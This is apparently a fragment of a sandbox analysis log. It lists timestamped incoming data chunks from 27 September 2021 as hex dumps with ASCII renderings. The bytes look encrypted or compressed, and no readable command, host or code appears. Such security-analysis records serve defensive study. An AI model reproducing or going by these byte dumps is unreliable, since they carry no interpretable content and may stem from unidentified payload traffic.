2021-09-27 18:32:52 UTC	57	IN	Data Raw: bf f3 e7 e6 fb 0f 86 a0 b2 19 07 5e 70 2f 09 b4 21 16 b7 25 61 a8 a6 38 cb 61 11 80 2e c9 4c fd e9 ce 5e 31 51 5d b7 c3 af 10 5c 4e e5 e3 1d 2e cb 80 11 0b e3 4a ba 7e 56 7a 3c 1d c1 32 5d 1f 24 f6 fc cf eb 95 26 d4 a1 85 2b 50 74 32 95 53 a8 b2 17 38 ff 5d df b1 4c 92 f2 f1 ec ba 2c dd b3 1d 20 fd 03 b8 eb 39 69 ae 95 5e 68 21 46 86 58 dc 7b 90 d6 32 ea 16 58 74 bf 92 6b e9 85 28 ce e7 e2 d6 7c 05 ea 08 8a 91 8e c7 c5 53 e5 3c d5 3c ec 0a 1a ea ae fa 31 0b 9f 79 8a 78 71 70 75 b0 c3 ee 69 c4 ea 2c d3 f9 73 0d e6 b4 ad 19 56 68 ad 61 72 70 3d 74 21 f0 86 55 da 39 66 51 5d b7 95 11 94 95 41 27 96 12 95 6a bb 43 5e 5d d8 3b c0 72 e6 0e 0a 65 c7 9c d1 0d 2c 80 16 14 1a de 07 44 b6 47 0c 11 c4 7c cd f1 95 7e c9 61 9f 3a be 61 ee 07 38 9d 4d 1d ba cc 1f 7f 99 Data Ascii: ^p/!%a8a.L^1Q]\N.J~Vz<2]$&+Pt2S8]L, 9i^h!FX{2Xtk(\|S<<1yxqpui,sVharp=t!U9fQ]A'jC^];re,DG\|~a:a8M
2021-09-27 18:32:52 UTC	59	IN	Data Raw: ac 8c f8 a9 2e e5 6b d7 f2 ff e2 d9 b8 7b 85 7a d0 fd 8e f5 7d 9c 96 c3 c8 70 c6 91 bb ec 15 07 6a 22 5d 4d 2a 9d 66 df e8 4a d3 be 23 71 84 d4 ff e5 9b 47 1e e3 62 77 71 a8 b8 36 bc c6 62 be c4 d2 5e 4e 71 b8 51 39 f8 7e 1f 78 0e 37 af 6a d3 98 9f f5 03 1f 11 7d 97 ba 84 97 e1 f5 94 70 0d 4e 95 c4 0c ea 35 94 9c c0 c3 8e 45 5e 71 03 c0 c5 8d f8 df 18 2f 32 64 39 ac 24 be 7e d3 2d 3b cd f7 90 1f 74 89 12 fe f0 29 02 fe 4c f7 9f 19 79 9b 83 e3 e4 ef ab b9 3c 47 a2 d8 27 e9 c3 46 66 be 45 61 cf d6 72 20 5e eb 25 4c 49 c7 2e ce 5b cd e3 70 55 89 73 b1 42 9e 0c 70 d7 91 e4 83 99 5d d6 27 6b 50 03 dd a9 23 db 3e c8 79 b7 24 55 04 02 95 1f 54 dd 7c 82 39 b3 f1 82 98 e9 3f d5 09 40 b6 ad a8 f8 ed bb 40 a8 b2 9c d3 87 09 a7 6d bb cd 06 6d 5c ed 3d 32 cb 7a d1 79 Data Ascii: .k{z}pj"]M*fJ#qGbwq6b^NqQ9~x7j}pN5E^q/2d9$~-;t)Ly<G'FfEar ^%LI.[pUsBp]'kP#>y$UT\|9?@@mm\=2zy
2021-09-27 18:32:52 UTC	60	IN	Data Raw: d3 75 6d cc b7 12 11 90 16 a9 2f 66 af d7 ce 54 61 84 ee ba 67 02 88 0a 35 2c c4 5c 64 aa f6 0c 12 1c b0 9e eb 81 3d 88 11 54 70 2f 69 90 26 d2 b2 9f 39 8d f9 1b cf 6d ef 7a 30 e7 0a 27 59 eb 96 e3 50 82 2d d3 9d 67 ac 0d a8 69 52 57 45 35 46 02 04 f6 1c c8 f2 c7 71 b9 27 9b 18 1d 70 35 1f d7 8d a2 04 e3 a5 e9 7d 30 3a 81 ba c9 95 55 5c ce 0b b4 a5 39 f3 75 6a d8 39 3b 29 e9 2d ba b3 1b 67 c2 5c ef ab ea c3 ed 7b 92 16 f3 63 ce 4a 36 73 f0 ec 04 f8 77 8a e5 99 fd e4 28 da 30 0d 3c a9 34 aa 88 36 f1 76 5f c4 36 b2 b3 20 05 65 3e a9 37 fc 71 aa 68 a3 72 5d 11 5b 9f 01 87 6b 7e c7 f3 64 49 09 68 41 55 d4 04 84 4b 3e b2 90 d3 42 5f c4 73 b5 b3 9c cf 7b 31 0d b7 39 06 c3 cc 5d db aa 1c 63 c0 a5 8f 39 3c 9a f3 ed bc ba c8 4f e9 96 c0 67 c8 6d 7a ed 4e ec 7c 10 Data Ascii: um/fTag5,\d=Tp/i&9mz0'YP-giRWE5Fq'p5}0:U\9uj9;)-g\{cJ6sw(0<46v_6 e>7qhr][k~dIhAUK>B_s{19]c9<OgmzN\|
2021-09-27 18:32:52 UTC	61	IN	Data Raw: 65 d8 da 83 1b 76 1e 37 46 99 f9 a3 98 ca 56 6b 06 89 68 89 b2 90 e1 2d f2 b6 83 71 b9 d3 f7 28 eb 85 e2 39 01 86 32 22 de 89 55 dd c7 f3 b5 f0 4f 8c f5 42 5c 1b 4a 83 64 f1 c7 c9 d5 b5 b2 ea 1f a8 b5 09 a4 ac 2b 1d 32 0c 0b 8d 64 49 79 c1 aa 9d f1 34 a1 fd c2 5e 46 9e ac 9f 7c 0b ae 7f 68 22 e7 8e 59 71 a2 95 70 81 35 41 39 1a 4c c1 f5 dd cb cd b3 97 fe 74 67 c8 e7 ab 02 f7 10 0b c3 f3 00 87 e2 0a 45 bb a4 40 57 e2 da 3c d4 8a 94 18 cc 0f 91 58 29 02 83 76 ae 7f 9d 0d ad a8 65 ba 22 e0 1b 65 6d 7e 1e f0 e4 17 9f 7b 96 60 6f b7 55 e6 35 12 29 ad 6a cb c1 f7 db 07 ae a6 9a f6 7c b9 57 5a 63 5e fe 65 5a 68 56 55 5c bd 47 cb d2 8e cf db 63 62 09 95 e9 f9 6c ff ac 8c a7 39 41 0c 10 02 27 12 1e b5 14 29 e7 e9 90 e2 24 00 39 c8 57 fa 5d 4b 05 82 9f af 81 a9 e7 Data Ascii: ev7FVkh-q(92"UOB\Jd+2dIy4^F\|h"Yqp5A9LtgE@W<X)ve"em~{`oU5)j\|WZc^eZhVU\Gcbl9A')$9W]K
2021-09-27 18:32:52 UTC	63	IN	Data Raw: 0e 6d 38 62 ec 6f 1e 3e 47 e8 43 13 9f 58 e7 15 7b e0 78 bf e2 1e 62 55 c6 1f b9 0f 8b 15 2a df b6 af 17 27 64 82 1a 87 a2 e9 07 bc c1 01 41 a0 04 b2 47 b8 d4 94 6f 23 55 74 26 5d 62 c5 34 d6 aa 0f de b9 c1 06 b4 46 be fb b1 1c 22 3e 76 6c 80 ff 0c 85 2f e5 73 20 5a a2 e7 39 d3 c7 2f 0a c3 59 ad c4 aa 1a 18 91 a1 87 3b d3 da 8b c1 1f e0 2c be f0 ce 90 ba 96 8b 3e 14 da 7e 5e e8 99 43 86 82 50 fb c2 f4 27 5b 1b aa 89 0c 1f dd 30 ed 81 b4 35 da 32 70 85 68 38 c3 9a dd bd 05 2a 6d a5 bb b4 76 37 97 9f ea a5 f0 a4 87 5d 63 2d 28 cb fb aa 6d 23 2f 27 66 53 9b 9d 1f 1c 95 e0 1f a1 fd ae 48 b2 3e d9 96 e5 c0 a9 39 22 13 15 74 58 bc 74 e5 41 b2 5b c8 55 24 78 76 0f 68 31 40 9e 96 26 25 ad 37 f5 49 49 3d d7 4b 33 25 82 b7 f5 90 eb f4 07 d6 77 cf 8b 68 7e f3 f9 85 Data Ascii: m8bo>GCX{xbU'dAGo#Ut&]b4F">vl/s Z9/Y;,>~^CP'[052ph8mv7]c-(m#/'fSH>9"tXtA[U$xvh1@&%7II=K3%wh~
2021-09-27 18:32:52 UTC	64	IN	Data Raw: e9 d3 c5 21 3f 47 0d cd a0 7a 54 01 a7 73 c8 e1 ce 26 cc 07 f9 dc 61 b2 9a 9a e6 90 8b 02 31 1e c4 a2 f1 14 0a 6a 3b 97 0d e2 0f cd ce f0 a5 46 9e e6 1a 7e 14 14 0a 35 1f f1 18 94 ec 98 b1 7e 19 8b 7e 3a f2 9a 17 4f fe 55 ab 25 ac 62 f7 9c 49 07 a5 3d 15 ae a8 f5 b7 0f 95 5b 19 b7 23 74 30 c5 a5 2f 7b 04 fe f7 71 bb e8 00 30 c3 ea fd 80 64 56 75 64 14 15 43 48 83 cb 48 89 89 37 42 96 d1 a9 44 86 a9 20 31 5b ce 41 17 b7 3f 04 f5 8b 49 ae d2 19 40 48 0c 3a a6 ae a9 77 8a 14 81 da 20 f0 30 ab 50 29 47 5b d9 94 fa 07 1a 53 fe c7 61 28 10 bf ce f0 fa a3 1e cb 28 fc a9 2e cb 11 24 d8 25 77 8f 5f ed b2 2e 26 14 a0 ba 76 d2 e3 8c 22 40 eb f2 d8 13 60 13 f3 6f bd 4d 9d 4a 4d 9d 1f 1c 76 72 9f f6 52 7d ad 25 4e 9a 11 e0 10 04 f9 fe c3 0e 1f 0e 06 3a 1b 15 99 a2 c3 Data Ascii: !?GzTs&a1j;F~5~~:OU%bI=[#t0/{q0dVudCHH7BD 1[A?I@H:w 0P)G[Sa((.$%w_.&v"@`oMJMvrR}%N:
2021-09-27 18:32:52 UTC	65	IN	Data Raw: 79 68 0b d4 19 6e ee f2 0a a2 e7 84 f3 bf 4e 7e bf 00 d2 31 09 ab 1e 4d b3 6e 20 ec 13 9e 8d f8 42 01 91 ed 9c 05 4a e8 29 18 77 50 17 1f 26 ce 7b 09 cf 60 53 1a 41 76 15 96 60 97 ed 38 be 5d 2f 77 f8 fd 4c 37 6e 32 09 8b cb ee 40 37 01 80 ee b8 31 44 96 95 f0 77 63 62 1a e9 ce 4a a5 19 9a 81 10 06 3b 9f c0 da b7 6f 67 3b 6b c7 ed bb bd f0 bd f3 37 3d 64 47 11 80 14 20 ec ab db 36 e6 24 d9 e5 8a a0 bc 98 18 33 3c a5 2c 03 22 21 c6 55 2f fc d8 a7 17 d4 20 2c d2 40 8a f2 54 54 56 eb 7f ab 89 70 20 75 5b f6 05 cc b6 13 ef ae 8d b7 28 15 77 56 8e 30 da 2f 49 24 d7 90 a5 85 28 54 6f a4 a5 07 6e 5f d2 8a 24 d6 34 ab 08 e4 af 21 61 d5 a9 1d 8d 9d 26 d1 c1 5e 1e fa 51 41 0d 86 fc d1 7c 52 6e 1c d2 b8 0c 1c e0 09 18 9d 5f 35 8a a4 b1 01 01 70 81 8f 7f 84 4a 0c 18 Data Ascii: yhnN~1Mn BJ)wP&{`SAv`8]/wL7n2@71DwcbJ;og;k7=dG 6$3<,"!U/ ,@TTVp u[(wV0/I$(Ton_$4!a&^QA\|Rn_5pJ
2021-09-27 18:32:52 UTC	67	IN	Data Raw: 2d fe 20 d4 13 a1 19 9e 75 a7 36 a9 ed e0 07 6d 75 48 96 c6 48 46 33 63 aa 1e 48 72 e2 de 14 1a fb 49 58 66 01 b8 b5 78 14 34 76 b0 98 e2 35 0b 7b c6 5a 7b 82 ca cc 5d 1b cd 3a a3 3e b5 c2 f6 aa a2 70 9f 2c 1c 6a 1a db 8e 52 9d 72 87 58 5b a5 85 5b 6b 42 a2 2c 1a 29 95 09 c6 b2 ef 68 0b 13 95 4a 19 5c 9c 27 91 b8 22 e0 1f 6d 82 24 53 af 08 94 bb 07 8c c5 81 74 c8 ae 7d 92 db 62 e2 12 b4 1d 6d 04 f8 fa f1 64 63 0e d8 8e ef 6e 27 67 70 17 7d aa 4c 7a fe d5 b4 3d 6b ac 55 41 15 45 2c 85 7e ba b3 ad 0e 1b 78 5c 4d 03 a7 3f 18 f8 b4 da 28 dc e3 28 49 01 a6 b5 28 6a 80 93 5d d8 3b 05 57 7e 78 04 32 03 0b 35 33 2a c3 df f6 ab 53 2e e9 6e 17 18 0c 0d 58 fb 51 3c 38 a2 0a 2a df b0 83 cc 21 74 9f c1 d7 a9 ed 89 6a 2b 43 7c e0 5d 8c f6 e9 85 c8 e4 88 e1 8a ef 57 c5 Data Ascii: - u6muHHF3cHrIXfx4v5{Z{]:>p,jRrX[[kB,)hJ\'"m$St}bmdcn'gp}Lz=kUAE,~x\M?((I(j];W~x253S.nXQ<8!tj+C\|]W
2021-09-27 18:32:52 UTC	68	IN	Data Raw: f1 46 f8 ee a6 af 6d 92 b9 f3 39 26 bb df d7 ac c7 c1 99 36 42 d9 4e bb 4f e4 d5 19 f2 ed 7f 88 df 80 2d b4 95 60 41 1f ab ab fb ee 54 73 bd e1 2f 08 28 a6 d3 ab 0c ac bc 69 bc 63 7d bf fe 12 7a 18 cb 97 7b 80 4f ec c4 aa b9 ac 85 43 27 62 ad 5a 66 4b 17 3f b3 0b b1 21 49 bb 13 be ee 17 c7 af 89 c7 74 cc d0 a4 ab 9f 4f c1 69 59 29 a8 8f 6d bc 67 e8 c3 bf f8 cc b0 17 aa a1 35 75 77 84 ed 6e 81 3b 3c af 09 a9 72 30 fc 71 63 d3 b0 96 df b3 08 2a c5 16 85 30 de 24 21 d5 a5 2d 5d ca e7 10 3c 80 c2 d9 f7 66 53 e7 76 cd 4e 74 26 6f 00 21 dc 89 7f 33 65 df a1 36 53 2e eb 9a d6 90 c3 e7 8e e6 6b 06 33 8c 54 74 36 b2 86 df a3 9c e8 c1 23 6c 32 d7 a2 5c df 2b 5a 65 0c b3 12 c6 ce 5b 62 2f 4a 9c d5 84 a9 5f 12 78 8b 21 78 35 ac f0 2d 4d 17 95 53 1a da 78 12 1f de e0 Data Ascii: Fm9&6BNO-`ATs/(ic}z{OC'bZfK?!ItOiY)mg5uwn;<r0qc*0$!-]<fSvNt&o!3e6S.k3Tt6#l2\+Ze[b/J_x!x5-MSx
2021-09-27 18:32:52 UTC	69	IN	Data Raw: 95 a6 92 1c 02 89 99 3b 36 af 00 03 cc d3 f3 76 1e e0 1c d5 0b 23 f5 78 0f 97 60 69 73 1b df b3 1b 6a d1 17 a1 24 ef 2a b0 27 9f 98 82 0b b4 1e 9c c5 88 e2 04 30 68 54 e5 93 b3 bf cb cf d9 01 8f f5 29 42 ab fa c3 94 cc 5f 66 05 ac 59 97 e9 a5 e3 5a 5b f1 89 30 e1 9c c1 5d 43 51 42 51 fd 4d 00 38 76 83 20 df 21 53 ef 1e 59 21 d9 17 82 0c 0c 2c f9 e3 24 fb 48 8f 6a d7 89 01 a6 b8 c1 74 29 24 4f c6 ee c2 73 99 8d d6 a5 21 79 95 70 05 16 c7 28 cd cd cd 27 5e 02 2b 43 d2 ef 6d 0f c6 54 7c 50 1b f9 39 30 46 61 9e dd 16 ba e3 8b 74 22 d1 3c fc 8b 67 ca ec ac 81 48 66 31 0c 4f 41 db 0a 36 ac 8d 5a 82 32 94 d6 25 de 55 fd 49 25 d2 f3 e4 16 07 a0 93 60 aa 8b 5b d2 40 1e 50 65 bd 5b fb ea fd 60 cb bc 14 66 fe ce 08 03 f2 59 c7 f1 b2 7a a2 44 8b 75 b1 02 1b 50 3c b9 Data Ascii: ;6v#x`isj$*'0hT)B_fYZ[0]CQBQM8v !SY!,$Hjt)$Os!yp('^+CmT\|P90Fat"<gHf1OA6Z2%UI%`[@Pe[`fYzDuP<
2021-09-27 18:32:52 UTC	71	IN	Data Raw: df bf e3 8d 5e ed bc c9 f3 93 a8 b4 9b 46 5f ef ca 79 68 e7 90 df a2 7e 73 19 40 11 21 af 16 06 37 7c 3b 15 7a 85 76 15 8d d1 57 93 e7 06 98 d1 c2 71 19 a5 70 2f 41 19 6f af c2 6f 80 ee 47 4d 03 a7 e1 36 a4 66 d8 72 38 78 71 b9 c8 47 1b 68 e2 1f 41 f5 21 3d 2c c1 22 46 8f da bc 3c 42 ed b7 af 0e d4 2c cb 96 7a dd fe dc e6 7c 15 a8 16 b6 47 0c 1f 66 6e 4e de 1c dd 62 84 7b 8c e4 00 c5 98 a4 be 7a a2 2e d0 8d f2 b4 c3 5f a9 30 0d 0b d4 29 70 01 4e fe c7 c9 d4 80 99 5f f5 51 08 4f 66 54 7a a2 2e cc 6d 81 06 34 a3 32 d6 14 ce a1 07 3f 16 25 1e 50 5f 13 67 f2 52 83 cf ed fe 8a 99 0d 13 c2 ea ba af 16 3f 98 38 74 c0 6c 39 32 c9 fe ee 4e 3d 21 06 ce 26 70 56 7a 12 c6 69 a3 39 3b 6e a1 24 e0 13 3a cc a4 2f 22 1f a9 5c a7 ea 6a d5 0c 73 5c 9a b9 e7 44 fe 42 2a b9 Data Ascii: ^F_yh~s@!7\|;zvWqp/AooGM6fr8xqGhA!=,"F<B,z\|GfnNb{z._0)pN_QOfTz.m42?%P_gR?8tl92N=!&pVzi9;n$:/"\js\DB*
2021-09-27 18:32:52 UTC	72	IN	Data Raw: c2 77 8a e5 05 4b 02 49 b4 47 1f 75 a1 20 85 c8 12 e3 a0 44 04 10 a0 40 90 41 fe 34 5b ab 87 f4 d5 0a dd 68 46 96 ad bc bf 87 77 5d b4 86 31 3d 17 10 17 9c 8d 0b b5 9a b6 8a 57 62 d6 d1 6e 50 60 5a 8f f6 2c 7c 7d 95 0a 17 ed 78 b6 f5 7c fc 3c 02 98 79 ff 79 53 8b 52 5b 4d cf 38 fa f4 34 9c 0c ec 82 e7 3b 2f 59 fa cc 71 1b 33 37 1e 94 72 96 bb ca 57 61 ff 57 e4 92 a7 81 78 01 b3 a8 be e1 c4 7f 15 65 df aa 0b 99 96 86 f9 fe 31 48 88 6b b8 a8 f0 f4 2b e2 d4 eb 91 49 1b 79 15 a2 bc e4 e9 82 18 9a c8 d3 fe cb 71 44 9d 5d 74 23 bc 33 27 c2 89 7a 1c 50 7c d3 fc c3 50 bf 26 50 74 30 c4 7f 51 c6 54 d9 49 02 20 46 88 7d cb d7 1b 85 70 39 9d 4c 04 73 a4 04 ce 53 ec a6 be f7 22 ff 9e 05 12 9b 50 6f ae 86 7d aa b0 3d d8 2b 55 41 0c 94 9c dd 0a db b6 81 1a e1 1d 26 c3 Data Ascii: wKIGu D@A4[hFw]1=WbnP`Z,\|}x\|<yySR[M84;/Yq37rWaWxe1Hk+IyqD]t#3'zP\|P&Pt0QTI F}p9LsS"Po}=+UA&
2021-09-27 18:32:52 UTC	73	IN	Data Raw: cf c9 62 67 ca e2 4e 86 77 de 20 51 f5 4b 10 a7 65 d7 a7 2b 96 81 96 19 4b 1f 98 78 40 a7 2f bc bc 1d 7f 89 af ad 63 d3 0f ec 16 0b 08 e4 7e 0e ab 76 0c 10 6d 52 be 44 16 58 7a a1 47 15 1a 8e c5 e3 94 c6 43 29 71 89 b4 62 7f 1e 4c b6 aa 44 74 c7 98 a2 b9 68 d1 fe 57 0c 20 cf 06 64 4e c8 20 d2 78 bc 08 50 4a 08 b4 85 72 23 77 85 3a 8f dc d0 2d fa 97 69 fb 3b 84 9c c9 dc 2d 2d ba 0f 02 77 9b 87 59 ae 97 f9 53 9b 65 d9 f0 da 9b 3c 9a b3 a8 fa 0a 1c 0b cc 58 6c 3d b4 ef 69 be 7d 41 be 7d f2 30 f5 3e c2 ab 61 f2 3b 0e 00 1c f9 30 e8 6f 69 99 0c f2 17 ad 87 19 71 b8 7c 75 7f c4 7f f0 0a e0 67 c1 69 8a 9e 8b 75 e3 a9 e7 f7 49 70 80 42 70 2d 97 f9 4c 97 c8 63 e9 94 0f f3 56 a5 ee d6 26 54 ca 48 44 ae ac 9f b2 a4 b4 4d 77 a6 ac 42 f0 f3 c3 5d f7 79 40 20 fa 27 6b Data Ascii: bgNw QKe+Kx@/c~vmRDXzGC)qbLDthW dN xPJr#w:-i;--wYSe<Xl=i}A}0>a;0oiq\|ugiuIpBp-LcV&THDMwB]y@ 'k
2021-09-27 18:32:52 UTC	75	IN	Data Raw: cb c1 96 60 f9 9a 6e 8e 99 f6 d7 05 c7 c9 c5 6b 9d 4c 04 b1 24 f6 fb 4e 74 38 23 19 63 de a3 f9 76 1e e4 03 b2 83 99 4c 62 ec fb 43 1d d4 8b 63 c0 eb e0 07 ad c0 4b 00 21 fa 3a 9f 38 be 60 4c 92 06 e1 97 4e 7c 06 2e 69 59 fb fd bb f4 fb ff e7 e1 84 f8 3c 8e e1 87 e5 49 3b 2f 44 87 6a 2a 09 c3 e8 9a 29 55 ff d2 5a 70 3f 21 6b 06 83 7e c0 4a 9c 0e b7 06 97 01 74 05 13 81 9c 8d 36 be ad 37 3a 6a 88 ed 6e 21 7a 07 ba f1 6b 02 8a e1 8b 7f 99 5a 64 ec 94 31 5a 6c 95 55 4c 34 a0 d5 05 af 18 59 b0 92 00 5b c3 26 15 8e f9 6e 24 f5 68 e6 71 ae 5c e4 11 83 7d 80 17 2d bb e1 34 5d d6 22 41 a6 a1 5c 97 5d d5 e8 2a d9 37 0f 8f 66 9d 29 51 3c 11 85 68 3d 2a c4 cd 2c cd cd 77 88 f1 7f 8d 76 74 eb ed 7c cb af 1c 03 46 58 9a da 5a f2 c9 76 1b 6b 8a 26 25 4d 9e d7 37 93 72 Data Ascii: `nkL$Nt8#cvLbCcK!:8`LN\|.iY<I;/Dj)UZp?!k~Jt67:jn!zkZd1ZlUL4Y[&n$hq\}-4]"A\]7f)Q<h=*,wvt\|FXZvk&%M7r
2021-09-27 18:32:52 UTC	76	IN	Data Raw: f9 29 58 e0 14 ee e7 45 01 86 bc 7e 60 24 fb 05 52 91 50 cc d4 35 1a 4f 84 fc 23 51 fe cf df 1d e9 86 f2 66 6c 83 64 84 1b 33 5f 62 6b a0 eb 87 c7 1f 98 e8 23 81 e7 84 ff 44 2c 62 55 5e 44 e6 ad 8c e1 a0 40 c4 7c 02 35 fc bd f3 4a 77 d0 5c 42 90 69 27 43 06 bf db 1d 60 63 ea 24 27 b7 30 50 37 49 0b 65 ff 92 2e 0d fb 46 59 07 ac 56 c9 97 48 33 db 8b f4 a4 b3 1a fb 49 32 03 cf 33 18 ec 03 bf f0 ea c1 95 41 a2 25 61 1b df fa 9e f2 f9 76 11 83 53 3c 6a d5 97 b1 fe c9 d9 b3 c7 5b c6 ec 39 d3 91 9f 45 f1 55 bc 62 75 58 5c b9 f7 62 2f df 1c 67 f6 2e 5a 67 43 b9 39 ac 50 96 f2 5e eb ea 0d df a3 8f 44 7a 2e 9b 55 d3 5d be 9a c8 4a e5 3f ee 5e 48 47 a7 39 e7 13 40 3c 1a 01 94 09 81 4a f3 46 59 04 81 ea 03 78 e6 0a 0e d1 9b 5a 44 a9 9f 88 15 be 99 8d 7b 95 57 5b e4 Data Ascii: )XE~`$RP5O#Qfld3_bk#D,bU^D@\|5Jw\Bi'C`c$'0P7Ie.FYVH3I23A%avS<j[9EUbuX\b/g.ZgC9P^Dz.U]J?^HG9@<JFYxZD{W[
2021-09-27 18:32:52 UTC	77	IN	Data Raw: 3c 95 7b 26 1e 31 42 87 78 e5 15 93 48 9d 8d 3e a8 ef 66 fb e8 b0 8e e5 85 42 b3 e3 6f 4c 86 e7 b6 bc c5 20 2e cd d0 48 b6 bb 05 5d cf c2 6c f4 5c e1 9d 4d 11 53 6f d5 73 34 f6 f9 1e 94 8c ec b4 44 f8 2f 49 16 08 49 c0 ca 0e f9 a4 28 b0 50 69 bf e3 a1 c0 b0 8a f6 ea bb 58 62 65 76 a7 9c d4 3f 23 4d 30 22 31 5c 46 81 32 77 ed bf e5 80 04 80 ab 0c 32 3e 7d 8f 62 4d ca 92 6e 24 f3 62 62 a6 6d a1 35 2e 78 26 69 0e e3 bf e6 e5 69 e6 ea 16 1a d2 f3 ba b9 f9 61 d9 9b f4 2b ea 3b c6 9a 3c b5 0b 29 6a 87 48 75 9b b6 80 08 96 ae 54 4f 40 62 fc c8 59 e5 b9 db 47 4f 15 97 5d 1c c4 70 93 c9 a3 4b 11 5b 2b 12 31 fb 2d 4b ba f2 40 ba 7b 84 4d ab 78 87 bb 80 07 1a eb 87 f9 69 90 2a 83 62 56 7e c7 75 a7 98 5a 24 eb 3b 34 db 8c e6 15 81 09 be 5f 35 21 72 39 20 23 f9 6f 17 Data Ascii: <{&1BxH>fBoL .H]l\MSos4D/II(PiXbev?#M0"1\F2w2>}bMn$bbm5.x&iia+;<)jHuTO@bYGO]pK[+1-K@{Mxi*bV~uZ$;4_5!r9 #o
2021-09-27 18:32:52 UTC	79	IN	Data Raw: 1e f0 83 c1 f1 c5 5d 6d a4 a5 26 f6 e8 a5 07 63 06 9e b8 69 ab f6 62 88 fa e4 de 8a f7 af 86 e6 ad 08 24 f7 70 ac 56 f1 79 9c c6 94 66 9e b4 98 d3 91 64 b6 a1 cb d2 48 34 13 95 9a 64 5a da c5 f2 ff 40 13 31 25 73 af 1e da e6 d8 f8 ef 6a 24 cc fc 68 00 39 33 36 92 e2 e3 13 11 92 db 15 25 7d 3f e9 ab 0d 8a e4 69 24 fd 94 40 a3 22 f6 c5 1f 6a c3 e5 90 13 42 bd e1 8c fa 26 1c cb cd c1 fc e0 25 5c e9 fe 6e 8e 57 d1 c3 e8 1a ca 7a 2a 2a 27 bd f0 f0 d0 f4 d4 d9 8f a4 b5 c6 98 69 ad 0f 82 3e 14 b4 73 8e c6 66 87 4b e1 24 d1 24 1c b6 e3 9b 4d b8 d1 bf 27 ff 1c ec c4 a7 13 9b 53 e6 2f 71 49 f5 91 52 66 f9 f2 eb ab 2a 64 b5 34 23 a3 80 3d 37 25 71 fd 2a f9 24 f1 b8 c9 76 0f 87 65 e2 d4 8c 16 3b 03 93 ea b3 8e f5 7a 15 aa 8d 40 8d 9f be 86 e5 91 99 82 2b 5d cf de e3 Data Ascii: ]m&cib$pVyfdH4dZ@1%sj$h936%}?i$@"jB&%\nWz*'i>sfK$$M'S/qIRfd4#=7%q*$ve;z@+]
2021-09-27 18:32:52 UTC	80	IN	Data Raw: 67 05 04 29 74 eb 3a 85 7e 08 2a ea 30 2e 85 64 46 91 e0 8a fe 1c b5 33 22 a0 ab 5b 13 91 42 8f 5e a0 e3 c9 dc 2d fc 74 28 92 73 b5 06 3c 1a 39 a8 a2 bd f6 d7 8b 92 7e f5 6c 34 0a 37 83 14 f7 58 d7 0a 89 5b 18 38 58 2d 34 af 15 90 6c 1c fe f9 42 59 c7 3e 0c d5 26 da 2e d7 b1 04 28 cc e5 fe 7b 80 03 bc 67 01 89 ed c7 e9 7a 94 e4 bc b6 be 95 e6 33 c2 9d d3 11 93 45 a4 06 1c 3b 8d 66 f6 e0 14 05 bc b6 ba 92 ac ad 2a d3 05 3c aa a9 27 ef bf f7 59 a3 3e 65 a6 5e 63 9e 8d 58 5e bb 78 b3 04 22 55 7c 07 df 93 b7 07 13 43 1a f3 75 13 cf c1 93 6a 2b 41 dd 0a 39 26 cb 1d 37 1a 94 c2 d6 93 54 7c 1f 19 af 89 6e 31 44 de 5f 15 43 00 6e 2f 67 87 78 a4 89 94 ec 82 b8 8a ec 08 23 45 2a fa 2e a7 ca 7b ab 24 ca 92 eb 70 b2 e0 fe c6 9c 48 83 95 3e 0d 8e f3 b6 29 23 e6 8b 39 Data Ascii: g)t:~0.dF3"[B^-t(s<9~l47X[8X-4lBY>&.({gz3E;f<'Y>e^cX^x"U\|Cuj+A9&7T\|n1D_Cn/gx#E*.{$pH>)#9
2021-09-27 18:32:52 UTC	81	IN	Data Raw: 9c c6 7d 3d 98 83 6e 2e ca 6d 8d 8e 44 60 5a 64 f8 5c a1 20 ee fc f4 1a 0c f6 fd 4c 2b 70 27 56 6e 7b b5 40 dc 01 0f 55 86 0c 19 7f 8a 0e fd a8 b5 16 b5 ce a6 ac 80 0b 57 44 f2 ce 4a 0a d0 a8 08 cb d2 4c d6 21 2f 53 dc ee 68 40 44 96 c1 f9 9a 60 b1 11 92 d6 b0 37 fc 71 ae a9 e4 dd 4f f7 74 21 48 74 fb a1 21 7d 4f 37 4a 6c 36 a8 b5 cd 63 c2 4a 62 65 c9 c2 70 99 80 e3 91 56 6f 8f 98 73 56 7b 8c 55 41 1e 30 72 24 e5 b9 4c 3a 4b 15 84 fd 76 a3 84 04 23 72 36 86 14 4d fa ef 69 02 f2 9f c9 d2 56 7d 31 d9 bf c8 b4 d5 5a 70 3e e2 15 c0 79 59 5a 9a 2a c4 72 01 94 3b 53 14 08 2b e6 5c 48 b3 f4 96 2e c8 50 c1 47 3e b9 5e 75 62 f6 1b 8d 73 b3 36 87 8c 8e 11 94 d9 00 fc ab e2 fc da 3b e5 0e 14 27 bc 1d 97 5f c4 d2 68 c7 f4 1a d3 55 fa f5 a0 17 99 4d 96 f1 c6 22 1c c9 Data Ascii: }=n.mD`Zd\ L+p'Vn{@UWDJL!/Sh@D`7qOt!Ht!}O7Jl6cJbepVosV{UA0r$L:Kv#r6MiV}1Zp>yYZ*r;S+\H.PG>^ubs6;'_hUM"
2021-09-27 18:32:52 UTC	83	IN	Data Raw: ec ce e9 9d 10 32 fa 89 bb b5 02 61 c1 bf 12 2a 67 d5 4c 27 a7 3f 37 f9 cd cb f4 58 f0 ce 60 b7 6c f0 f8 f2 3a 33 23 d1 5a 2e cd 7f 80 b6 31 bc 59 d4 31 d1 e4 31 93 46 9a cd c9 ed c9 3e 9b eb 17 0f f1 de 84 b7 dc d0 6b 0b 7a d9 56 5a 6f ad 04 15 d6 51 42 f7 b7 4f f6 c0 8b 8e 10 1f 7f f8 4d 50 64 47 0f 95 35 af 2a 64 f0 71 ab 1f 6c 06 bd 9b a2 a1 26 cf c3 29 2e 38 07 d6 c3 53 90 db 04 5b 5a 1c f5 64 4d 28 6c 87 fa e1 9d 43 ec 8a 0d 8d 73 11 ca 57 a7 2d 07 e3 27 ea 8a f3 70 3a 96 f8 0d 76 32 c5 f1 c5 8d 60 14 0a e2 d2 bc 4f 4f c3 36 84 b2 87 35 35 6f ac 90 cf de 61 c8 0a 22 ad 1a dc ee 4c 0d 88 e1 9f 15 c0 71 8f 9e 75 3b 3c b8 ca c3 d3 0d 39 78 1e d3 04 db 8e 4f 38 99 b9 b0 96 85 6b 84 c7 31 22 4a 95 5f 1d d8 37 e2 04 3b 26 db 95 e5 7b ac 32 9f c5 7e b2 96 Data Ascii: 